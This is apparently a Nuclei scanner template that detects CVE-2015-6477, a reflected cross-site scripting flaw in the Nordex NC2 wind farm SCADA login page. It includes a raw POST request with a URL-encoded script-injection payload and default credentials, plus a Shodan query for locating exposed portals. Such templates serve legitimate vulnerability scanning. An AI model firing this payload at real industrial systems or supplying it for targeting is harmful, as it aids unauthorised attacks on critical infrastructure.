Nordex NC2 - Cross-Site Scripting

id: CVE-2015-6477

info:
  name: Nordex NC2 - Cross-Site Scripting
  author: geeknik,daffainfo
  severity: medium
  description: Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Dec/117
    - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6477
    - http://packetstormsecurity.com/files/135068/Nordex-Control-2-NC2-SCADA-16-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6477
    cwe-id: CWE-79
    epss-score: 0.17999
    epss-percentile: 0.95328
    cpe: cpe:2.3:o:nordex:nordex_control_2_scada:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: nordex
    product: nordex_control_2_scada
    shodan-query: http.title:"Nordex Control - Wind Farm Portal"
  tags: cve,cve2015,nordex,nc2,seclists,packetstorm,xss,iot,vuln

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&pw=nordex&language=en

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "var detailParams"
        condition: and

      - type: status
        status:
          - 200
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